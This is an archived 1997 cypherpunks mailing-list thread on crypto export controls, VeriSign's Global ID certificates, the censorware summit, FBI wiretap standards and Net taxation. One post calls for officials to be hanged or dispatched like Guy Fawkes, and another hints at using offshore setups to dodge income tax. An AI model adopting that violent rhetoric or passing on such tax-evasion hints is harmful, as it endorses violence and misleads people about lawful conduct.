In-Reply-To: <199707180051.CAA13954@basement.replay.com>
Message-ID: <199707180115.UAA07194@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199707180051.CAA13954 at basement.replay.com>, on 07/18/97 
   at 02:51 AM, nobody at REPLAY.COM (Anonymous) said:

>  Happy to oblige.
>------------------

Glad to see that someone on the list still has their sense of humor. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM862aY9Co1n+aLhhAQFuagP+NGk7TTQm/SLK5kUuJ/GP2dLgirW4PDnH
d8u7C4HBo23lnfq6xTcC5cBF+ryqfO0AnZilPL7c5xUSpANfjykk17qbv3ArwyYa
3MAFBz5Zqvw+18hIJZI17s+cjXOvgeyMhp0IfjX7AJ0+m4HozeC1alzXr+Fj+wD8
knMhet3OQWo=
=xdvC
-----END PGP SIGNATURE-----






From shamrock at netcom.com  Thu Jul 17 18:37:54 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 18 Jul 1997 09:37:54 +0800
Subject: Verisign gets export approval
In-Reply-To: <33CEBACC.31388B70@netscape.com>
Message-ID: 



On Thu, 17 Jul 1997, Tom Weinstein wrote:

> I don't know the details of the agreement between VeriSign and the
> USG.  I'm curious: how will the CRL for this revocation get distributed?
> Since Communicator doesn't automatically pull CRLs, how can any action
> on VeriSign's part disable crypto for that server?  Or are you
> suggesting that as part of the revocation process, the USG will bust
> down their doors and grab all copies of their private keys?

[Tom, I am glad that your are adding your voice to this tread].

It is true that Communicator does not presently pull CRL's. However, an 
X.509 based application probably should pull the CRL, or at least verify 
that a cert about to be relied upon has not in fact been revoked by 
looking for a match in the CRL. It stands to reason that Communicator 
will at one point add this, IMHO proper, feature.

I also would like to mention the reader that yesterday's release of MSIE 
4.0b2 *does* have the ability to check CRL's.

Even if Communicator would never check CRL's, not even in the future, the
mere fact that the Global ID cert have only a one year lifetime means 
anyone relying on Global ID can be held hostage by threatening to 
refuse to renew their cert. The reader may not be aware that unlike other 
certs, the Global ID certs are *only* issued by VeriSign. You can 
not go to a non-US CA and obtain such a cert. [Which of course would defy 
the whole purpose of this rather slick deal :-]

Unless VeriSign includes in the price of the Global ID cert a bond that will 
compensate the buyer of a Global ID based commerce system for any and all 
future losses caused by VeriSign either revoking or refusing to renew a 
cert (fat chance), anyone basing their strategy on having such a cert is 
at risk of losing their business.

--Lucky






From declan at well.com  Thu Jul 17 18:38:37 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 18 Jul 1997 09:38:37 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.32.19970716224205.006e5034@best.com>
Message-ID: 



Read the complete text of my article. The RSACnews system would include
just that: a system that allows a board of media conglomerates to decide
what's a "news site" or not. 

In other words, what's "credible."

-Declan


On Wed, 16 Jul 1997 geeman at best.com wrote:

> I can't wait until the tags include information on *political* content, or
> *credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...
> 
> At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
> >
> >***********
> >
> >http://pathfinder.com/netly/opinion/0,1042,1173,00.html
> >
> >The Netly News (http://netlynews.com)
> >July 16, 1997
> >
> >At The Censorware Summit
> >by Declan McCullagh (declan at well.com)
> >
> >     If you host a web page or publish online, be
> >warned: soon your site might become invisible. Search
> >engines won't index it and web browsers won't show it.
> >Unless, that is, you agree to attach special labels to
> >your web pages identifying how violent, sexually
> >explicit, or inappropriate for kids your site is.
> >
> >     This was the thrust of today's White House
> >censorware summit, where President Clinton sat down
> >with high tech firms and non-profit groups in a
> >private meeting to talk about pressuring the Net
> >community to make cyberspace childsafe through labels.
> >"We need to encourage every Internet site, whether or
> >not it has material harmful to minors, to rate its
> >contents," Clinton said after the meeting. Vice
> >President Gore was there, too, giving a quick
> >demonstration of how labeling works.
> >
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> >
> >     As will future users of Microsoft's Internet
> >Explorer browser. The next version of IE will default
> >to displaying only properly labeled web pages,
> >according to Ken Wasch, the president of the Software
> >Publishers Association. Since many users won't turn
> >off that feature to reach unrated sites, many large
> >web sites now are facing hefty pressure to self-label.
> >
> >     Other high tech firms rushed to join the
> >presidential limelight. Netscape promised to join
> >Microsoft and include label-reading software in the
> >next version of its browser. America Online's Steve
> >Case thanked Clinton for "backing industry's efforts
> >to make cyberspace a safer place." IBM announced a
> >$100,000 grant to RSACi, a PICS-based rating standard
> >originally designed for video games but adapted for
> >the Web. The industry giant also pledges to
> >incorporate RSACi into future products.
> >
> >[...]
> >
> >
> >
> >
> >
> 
> 






From declan at well.com  Thu Jul 17 18:45:13 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 18 Jul 1997 09:45:13 +0800
Subject: ESPN hacked -- got info? (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 17:56:29 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: ESPN hacked -- got info?

[From a friend. Any responses? --Declan]


---------- Forwarded message ----------

Declan --

Do you have any information about the ESPN/SportZone web site store being 
hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
interested to know if 1) this site was using encryption before being hacked 
and 2) what type of encryption they are using now (one of the press stories 
noted that crypto was one of the security measures implemented after the 
hacking).

I realize this was probably an inside job, but it's good fodder for the 
Hill.  Any insight you might have -- or other examples -- would be great.

Thanks in advance.







From declan at pathfinder.com  Thu Jul 17 18:49:39 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 18 Jul 1997 09:49:39 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



We need the administration to do one thing: lift export controls.

Then it and Congress should forget all about the Net.

-Declan


On Thu, 17 Jul 1997, Tim May wrote:

> At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
> >---------
> >
> >July 2,1997
> >
> >Time to Walk the Walk on Telecom Policy
> >
> >by Jeffrey A. Eisenach
> >The Progress & Freedom Foundation
> >
> >Thanks to Ira Magaziner -- of all people -- the
> >Clinton Administration has finally learned to talk the
> >free market talk that brings joy to denizens of the
> >Internet. Now, as always with this Administration, the
> >question is whether it will also walk the walk.
> 
> To use their own Yuppie expression, "will it 'walk the walk' down the gang
> plank"?
> 
> The only thing the Administration can do is to do _nothing_. Gibberish
> about the freedom of the Net while other departments speak of key escrow
> and content control is a meaningless gesture.
> 
> 
> >easy-to-use technical solutions." And last month,
> >Treasury Undersecretary Larry Summers, reportedly at
> >Magaziner's urging, had very positive things to say
> >about the "no new taxes on the Internet" legislation
> >sponsored by Congressman Chris Cox and Senator Ron
> >Wyden.
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.
> 
> Their continuing support for GAK and content control are what has earned
> them only our vicious enmity.
> 
> 
> >Telecommunications is not the only problem area with
> >respect to policy. Most notable among the others:
> >Encryption, where the Administration stubbornly
> >adheres to its unworkable, privacy-invading notion of
> >"key escrow" for encryption software -- i.e., giving
> >the police the key to your house in advance in case
> >they decide later they want to conduct a search.
> 
> Oh, yeah, this minor issue of their demanding access to diaries, phone
> calls, e-mail, and other computer-mediated communications without so much
> as a search warrant.
> 
> They all deserve to be hung for treason, or dispatched the old-fashoned way
> (a la Guy Fawkes).
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 






From whgiii at amaranth.com  Thu Jul 17 19:00:23 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 10:00:23 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: <199707180148.UAA07682@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/17/97 
   at 06:27 PM, Declan McCullagh  said:

>Read the complete text of my article. The RSACnews system would include
>just that: a system that allows a board of media conglomerates to decide
>what's a "news site" or not. 

>In other words, what's "credible."

Well I don't know about anyone else but the more information that comes
out on this the worse & worse it looks.

Between this & the Netscape/Microsoft/Verisign Sellout I would say that
things are looking much worse that if the CDA had been left intact.

I think that several of us need to get together with the authors of Lynx
and produce a GNU secure webbrowser and take on these SOB's.

I don't think that it would be all that much work to mimick NetScapes
plugin interface so the same plugins will work with the GNU browser.

The "Net" will not be safe as long as N$ is allowed to do whatever they
please.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From tcmay at got.net  Thu Jul 17 19:49:31 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 10:49:31 +0800
Subject: Our basic rights are not to be traded away for exports
In-Reply-To: 
Message-ID: 



At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
>We need the administration to do one thing: lift export controls.
>
>Then it and Congress should forget all about the Net.
>
>-Declan

I don't think it is going to do that. Unless it gets something _major_ in
return, as part of a deal.

And given the choice between liberty and a lifting of export restrictions,
I know which side I support. No doubt about it.

If export restrictions remain in place, the world will still have
arbitrarily strong crypto. After all, implementations of RSA and other
public key systems are widely available in Europe and Asia. Stronghold
comes from overseas, Israel is a major center, Switzerland has long been a
point of development (though perhaps with NSA involvement, it is rumored),
and so on.

And an export ban might actually _help_ us all, by incentivizing world-wide
development, by "breaking the monopoly" the U.S. has held. (I'd rather that
Big Brother stay the hell out of the whole issue, especially as export
controls are worthless anyway.)

In any case, we as American citizens (and others) cannot accept limitations
on our basic freedoms to hold our own keys, to speak in whatever languages
we wish, to whisper and write in private languages, to sign whichever keys
we wish (in whichever ways we wish), and to write and speak without
"labeling" requirements...we cannot accept limits on these basic rights
just so that Netscape and Microsoft can export their patent-entangled
products!

I wish Netscape, Microsoft, and others well, but not if it means Big
Brother gains new powers. I'd rather see them lose billions to the foreign
equivalents, even face eventual loss of all of their markets, than see my
freedoms compromised.

And it's reprehensible that civil liberties groups are even _talking_ to
these statist creeps. What part of "Congress shall make no law" is unclear
to them?

Has it ever been the case that one basic right is compromised so that some
company can get an export license? That the right to keep and bear arms is
restricted so that Colt can export M-16s to Iraq? That the right to publish
is limited so that the New York Times can get the lucrative overseas
publishing franchise for Americans stationed in Europe? And so on.

Our basic rights are not to be traded away for export licenses.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu Jul 17 19:56:40 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 10:56:40 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>On Thu, 17 Jul 1997, Tim May wrote:
>>
>> Taxes are already essentially uncollectable, even in interstate
>> transactions, so the moves by Summers and Magaziner are truly token
>> gestures.
>
>
>Uh, Tim, corporate and personal income taxes are still rather
>well collectible, and that my be the reason the federal gov't
>doesn't worry too much about taxing the Net. State, and even
>more so local, gov'ts do not have the same collectibility
>advantage.  And the locals are often revenue-starved and

I meant that taxes are essentially uncollectable for interstate
transactions like mail order purchases.

I buy several thousand dollars worth of stuff each year by mail order, and
only a few hundred bucks worth of it has been taxable.

My state, California thinks I should either send them a check for 8.25% of
all that I have purchased, or that the vendors in New Hampshire, Ohio, etc.
should send them such a check....we all ignore this notion, and there is
little to be done. It is this sort of "tax arbitrage" I was drawing a very
real parallel to.

Most "tax the Net" talk I hear about is about taxing Net commerce (as
opposed to, say, placing a per minute tariff on Net connections). Hence, my
point.

I wasn't referring to either corporate or personal income taxes, which have
little or nothing to do with the Net.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mnorton at cavern.uark.edu  Thu Jul 17 19:57:09 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Fri, 18 Jul 1997 10:57:09 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Tim May wrote:
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.


Uh, Tim, corporate and personal income taxes are still rather 
well collectible, and that my be the reason the federal gov't
doesn't worry too much about taxing the Net. State, and even
more so local, gov'ts do not have the same collectibility
advantage.  And the locals are often revenue-starved and 
constantly in search of new tax base, constantly.  Thus,
what's easy for the feds to say ("no new taxes" read my
lips?:)) is just a costless slam at the locals.  No real
impact on federal revenue, no sacrifice, no altruism, 
except at the expense of other potential, and hungry 
taxing authorities.  Magaziner didn't earn any points with
me by proclaiming a policy that doesn't cost his end of
the gov't much of anything.  

It's as if George III told the colonies not to tax tea.
MacN






From rah at shipwright.com  Thu Jul 17 20:09:09 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 18 Jul 1997 11:09:09 +0800
Subject: Center for Security Policy calls for domestic key escrow (fwd)
In-Reply-To: 
Message-ID: 



Any organization with the word "center" in it's name gives me the creeps
lately.

There is no "center" in an information society.

Furthermore, "center" reminds me more and more of "Moscow Center", in
Djerzhinsky Square...

Wishing for better weather. I've had enough 'cold' climate to last lifetime.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From shamrock at netcom.com  Thu Jul 17 20:11:20 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 18 Jul 1997 11:11:20 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>



At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>I think that several of us need to get together with the authors of Lynx
>and produce a GNU secure webbrowser and take on these SOB's.

Nothing wrong with releasing a GNU browser, but you will find it difficult
to impossible to match the features of a modern browser such as
Communicator and MSIE. Some may be happy with Lynx. Myself and most
consumers will stick with Communicator and MSIE.

[...]
>The "Net" will not be safe as long as N$ is allowed to do whatever they
>please.

The Net would be considerably safer if Netscape and others would be allowed
to do as they please. Unfortunately, export laws are a reality and Netscape
and Microsoft do what they can to bring strong crypto to as many people as
possible without ending up in jail. My posts on this topic should not be
taken as bashing these software vendors for attempting to make their
products available to a larger number of customers. I certainly do not
question the integrity of people such as Tom Weinstein who have worked hard
to make the best of a shitty situation. A situation they did not create.
[That questionable honor goes to the USG].

I merely question the wisdom to rely on a solution that can be disabled at
any time, for any reason, or no reason at all, by a party outside your
company simply by revoking a single cert. One should not make one's fate
subject to the future whim of a third party.

Thanks,



--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From tomw at netscape.com  Thu Jul 17 20:21:38 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Fri, 18 Jul 1997 11:21:38 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: <33CEDD64.292388D@netscape.com>



Lucky Green wrote:
> 
> On Thu, 17 Jul 1997, Tom Weinstein wrote:
> 
>> I don't know the details of the agreement between VeriSign and the
>> USG.  I'm curious: how will the CRL for this revocation get
>> distributed?  Since Communicator doesn't automatically pull CRLs, how
>> can any action on VeriSign's part disable crypto for that server?  Or
>> are you suggesting that as part of the revocation process, the USG
>> will bust down their doors and grab all copies of their private keys?
> 
> [Tom, I am glad that your are adding your voice to this tread].
> 
> It is true that Communicator does not presently pull CRL's. However,
> an X.509 based application probably should pull the CRL, or at least
> verify that a cert about to be relied upon has not in fact been
> revoked by looking for a match in the CRL. It stands to reason that
> Communicator will at one point add this, IMHO proper, feature.
> 
> I also would like to mention the reader that yesterday's release of
> MSIE 4.0b2 *does* have the ability to check CRL's.

Yes, we will add this feature in some future release.  It will be
configurable, so if the user doesn't want to check CRLs he doesn't
have to.

> Even if Communicator would never check CRL's, not even in the future,
> the mere fact that the Global ID cert have only a one year lifetime
> means anyone relying on Global ID can be held hostage by threatening
> to refuse to renew their cert. The reader may not be aware that unlike
> other certs, the Global ID certs are *only* issued by VeriSign. You
> can not go to a non-US CA and obtain such a cert. [Which of course
> would defy the whole purpose of this rather slick deal :-]

Aren't all certs VeriSign issues only valid for one year?  This isn't
any different.

There's nothing preventing another CA from getting permission from the
USG to issue these magic certs.  We would have to distribute a patch,
but I don't see any problem with that.

> Unless VeriSign includes in the price of the Global ID cert a bond
> that will compensate the buyer of a Global ID based commerce system
> for any and all future losses caused by VeriSign either revoking or
> refusing to renew a cert (fat chance), anyone basing their strategy on
> having such a cert is at risk of losing their business.

I fail to see the problem.  Right now, if you want to communicate
securely with exportable web browsers, this is the only way to do it. 
Either you do it, or you don't.  If VeriSign doesn't renew your cert,
then you're right back where you were the previous year.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From adam at homeport.org  Thu Jul 17 20:25:04 1997
From: adam at homeport.org (Adam Shostack)
Date: Fri, 18 Jul 1997 11:25:04 +0800
Subject: ESPN hacked -- got info? (fwd)
In-Reply-To: 
Message-ID: <199707180310.XAA23878@homeport.org>



	Strong crypto is useful not in building a web site, but in
providing an infrastructure that resists stupidity better.

	For example, when you telnet or ftp, your password goes in a
sniffable cleartext format.  When you send mail, it traverses the net
in the clear, and is stored in the clear.  If crypto was widely
deployed, the sensitive information people send in the clear would be
protected.

	Locking the barn after the horses are gone is not nearly as
useful as ubiquitous locks.

Adam


Declan McCullagh wrote:
| ---------- Forwarded message ----------
| 
| Declan --
| 
| Do you have any information about the ESPN/SportZone web site store being 
| hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
| interested to know if 1) this site was using encryption before being hacked 
| and 2) what type of encryption they are using now (one of the press stories 
| noted that crypto was one of the security measures implemented after the 
| hacking).
| 
| I realize this was probably an inside job, but it's good fodder for the 
| Hill.  Any insight you might have -- or other examples -- would be great.
| 
| Thanks in advance.
| 
| 


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.






From adam at homeport.org  Thu Jul 17 20:36:29 1997
From: adam at homeport.org (Adam Shostack)
Date: Fri, 18 Jul 1997 11:36:29 +0800
Subject: Verisign gets export approval
In-Reply-To: <33CEDD64.292388D@netscape.com>
Message-ID: <199707180321.XAA23958@homeport.org>



Tom Weinstein wrote:

| > Unless VeriSign includes in the price of the Global ID cert a bond
| > that will compensate the buyer of a Global ID based commerce system
| > for any and all future losses caused by VeriSign either revoking or
| > refusing to renew a cert (fat chance), anyone basing their strategy on
| > having such a cert is at risk of losing their business.
| 
| I fail to see the problem.  Right now, if you want to communicate
| securely with exportable web browsers, this is the only way to do it. 
| Either you do it, or you don't.  If VeriSign doesn't renew your cert,
| then you're right back where you were the previous year.

	Nope, you've now got thousands of upset customers who were
using secure communications, and are now using cheesy exportable
ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
Stronghold. :)

Adam


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.






From dformosa at st.nepean.uws.edu.au  Thu Jul 17 20:52:30 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 18 Jul 1997 11:52:30 +0800
Subject: ESPN hacked -- got info? (fwd)
In-Reply-To: <199707180310.XAA23878@homeport.org>
Message-ID: 



On Thu, 17 Jul 1997, Adam Shostack wrote:

> 	Strong crypto is useful not in building a web site,

It is when your transfuring large amounts of money via it.  The secuarty
should cost more to break to brack then you can make from braking it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett






From tomw at netscape.com  Thu Jul 17 20:52:59 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Fri, 18 Jul 1997 11:52:59 +0800
Subject: Verisign gets export approval
In-Reply-To: <199707180321.XAA23958@homeport.org>
Message-ID: <33CEE568.F2C2D5CC@netscape.com>



Adam Shostack wrote:
> 
>         Nope, you've now got thousands of upset customers who were
> using secure communications, and are now using cheesy exportable
> ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
> Stronghold. :)

It wouldn't help.  The problem is that your customers (using the export
client) who used to be able to connect using strong crypto now have to
use weak crypto.  It doesn't affect people using non-exportable clients.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From vznuri at netcom.com  Thu Jul 17 21:21:52 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 18 Jul 1997 12:21:52 +0800
Subject: fbi wiretapping law runs into friction
Message-ID: <199707180416.VAA13557@netcom13.netcom.com>




------- Forwarded Message

From: jackdoolin at earthlink.net
Date: Thu, 17 Jul 1997 14:56:59 -0400
Subject: SNET: Phone firms resist FBI wiretap gear


- ->  SearchNet's   SNETNEWS   Mailing List

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

              Published Wednesday, July 16, 1997, in the San Jose Mercury 
News  

  Phone firms resist FBI wiretap gear    New York Times  

  Asserting that the FBI is trying to force the development of wiretapping 
equipment that goes beyond the law, telephone industry executives said 
Tuesday they would petition the Federal Communications Commission to resolve 
a dispute over the limits of digital surveillance in the information age.

 Industry executives are expected to ask the commission to step in today 
after more than two years of negotiations with law enforcement authorities 
over standards for advanced digital telephone switching gear intended to 
permit the police and FBI agents to listen to suspected criminals.

 The two sides failed to reach an agreement at a meeting last week in Boston.

 ``We've come to an impasse and only the FCC can resolve it,'' said Stewart 
Baker, a Washington lawyer representing the industry.

 FBI officials said Tuesday they were still confident that disagreements with 
the industry could be worked out. Another negotiating session is scheduled 
for next week.

 ``We're still committed to the negotiating process,'' said Edward Allen, 
section chief in the Information Division at the FBI. The Communications for 
Law Enforcement Act, which was signed into law by President Clinton in 1994, 
calls for spending $500 million to modify the nation's telephone network for 
wiretapping and specifies a standard-setting process to redesign the 
equipment.

 Telephone industry officials have warned that the cost of making the 
modifications requested by law enforcement might run into the billions of 
dollars. They also contend that the FBI has overstepped its mandate and is 
trying to control the process of setting standards. The law, they say, 
specifies only that the agency will be consulted in setting the standard.

 Industry executives say their companies will be at risk of being sued by 
civil liberties groups over privacy invasions.

 Law enforcement is asking for the ability to maintain a wiretap in a 
conference call even after the individual who is the object of the court-
authorized wiretap drops out of the phone call. Such a capability would 
require costly modifications to the telephone network, industry officials 
said.

 ``We're taking this action out of monumental frustration,'' said Thomas 
Wheeler, president of the Cellular Telecommunications Industry Association, a 
trade group in Washington.

 The telephone industry is facing an October 1998 deadline to comply with the 
law. Wheeler said the members of his association were growing increasingly 
concerned that in the absence of a standard they would have insufficient time 
to develop new products that comply with the law. The legislation provides 
for $10,000 a day in penalties for companies that fail to meet the 
requirements. 

        
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Charset: noconv

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- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: jackdoolin at earthlink.net


------- End of Forwarded Message






From whgiii at amaranth.com  Thu Jul 17 21:25:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 12:25:46 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: <199707180412.XAA09723@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717200041.0072b488 at netcom10.netcom.com>, on 07/17/97 
   at 08:00 PM, Lucky Green  said:

>At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>>I think that several of us need to get together with the authors of Lynx
>>and produce a GNU secure webbrowser and take on these SOB's.

>Nothing wrong with releasing a GNU browser, but you will find it
>difficult to impossible to match the features of a modern browser such as
>Communicator and MSIE. Some may be happy with Lynx. Myself and most
>consumers will stick with Communicator and MSIE.


Well 90% of the "features" of these browsers are complete crap. I have yet
to see a web site that did anything constructive with frames and animated
gifs are compleetly worthless. There are some intresting plug-ins for
Netscape but as I said in my previous post I don't think mimicking the
interface should be that hard.

As far as the e-mail & news clients they are still far behind where the
industry is in these areas.

I was thinking more allong the lines of providing a strong, secure GNU
browser for doing transactions over the net and save the game playing for
NS & MS.


>[...]
>>The "Net" will not be safe as long as N$ is allowed to do whatever they
>>please.

>The Net would be considerably safer if Netscape and others would be
>allowed to do as they please. Unfortunately, export laws are a reality
>and Netscape and Microsoft do what they can to bring strong crypto to as
>many people as possible without ending up in jail. My posts on this topic
>should not be taken as bashing these software vendors for attempting to
>make their products available to a larger number of customers. I
>certainly do not question the integrity of people such as Tom Weinstein
>who have worked hard to make the best of a shitty situation. A situation
>they did not create. [That questionable honor goes to the USG].

No not really. All one has to do is look at Netscapes & Microsofts track
record. Security has never been a primary concern of theirs. While this is
expected from Microsoft (I don't think they could find a security protocol
if it bit them on the ass) one would hope the Netscape would be a little
better at it. 

As far as making their product to a large number of customers one has to
question what type of product they are getting. It seem obvious the both
Netscape & Microsoft have chosen to go down the "GAK/Policy
Token/Manditory Rating" path and have done so long before the WhiteHouse
meeting this week.

>I merely question the wisdom to rely on a solution that can be disabled
>at any time, for any reason, or no reason at all, by a party outside your
>company simply by revoking a single cert. One should not make one's fate
>subject to the future whim of a third party.

While I do not question the integrety of Tom as I don't know him that well
to form a judgment I do question the integrety of the owners & management
of the company he works for.

As their products stand right now I would not trust the "domestic"
versions for anything more than insignificant purchases of beads and
trinkets over the net let alone the hacked "export" versions. As far as
using their product for finacial transactions well you know the old saying
... "A fool and his money were lucky to have ever met in the first place".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From whgiii at amaranth.com  Thu Jul 17 21:27:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 12:27:55 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: 
Message-ID: <199707180421.XAA09823@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/17/97 
   at 07:54 PM, Tim May  said:

>At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>>On Thu, 17 Jul 1997, Tim May wrote:
>>>
>>> Taxes are already essentially uncollectable, even in interstate
>>> transactions, so the moves by Summers and Magaziner are truly token
>>> gestures.
>>
>>
>>Uh, Tim, corporate and personal income taxes are still rather
>>well collectible, and that my be the reason the federal gov't
>>doesn't worry too much about taxing the Net. State, and even
>>more so local, gov'ts do not have the same collectibility
>>advantage.  And the locals are often revenue-starved and

>I meant that taxes are essentially uncollectable for interstate
>transactions like mail order purchases.

>I buy several thousand dollars worth of stuff each year by mail order,
>and only a few hundred bucks worth of it has been taxable.

>My state, California thinks I should either send them a check for 8.25%
>of all that I have purchased, or that the vendors in New Hampshire, Ohio,
>etc. should send them such a check....we all ignore this notion, and
>there is little to be done. It is this sort of "tax arbitrage" I was
>drawing a very real parallel to.

>Most "tax the Net" talk I hear about is about taxing Net commerce (as
>opposed to, say, placing a per minute tariff on Net connections). Hence,
>my point.

>I wasn't referring to either corporate or personal income taxes, which
>have little or nothing to do with the Net.

Actually with some "creative" accounting one can make use of the net to
cirumvent large amount of corporate & personal income tax. :)

It is quite possible to set up virtual corporations who's complete
bussines is done over the wire. While some setions of industry can benifit
from this more than others I see in the future a large section of the
revenue stream migrating offshore to various taxhavens beyoned the reach
of the little piggies in DC. :)

- -- 
- ---------------------------------------------------------------
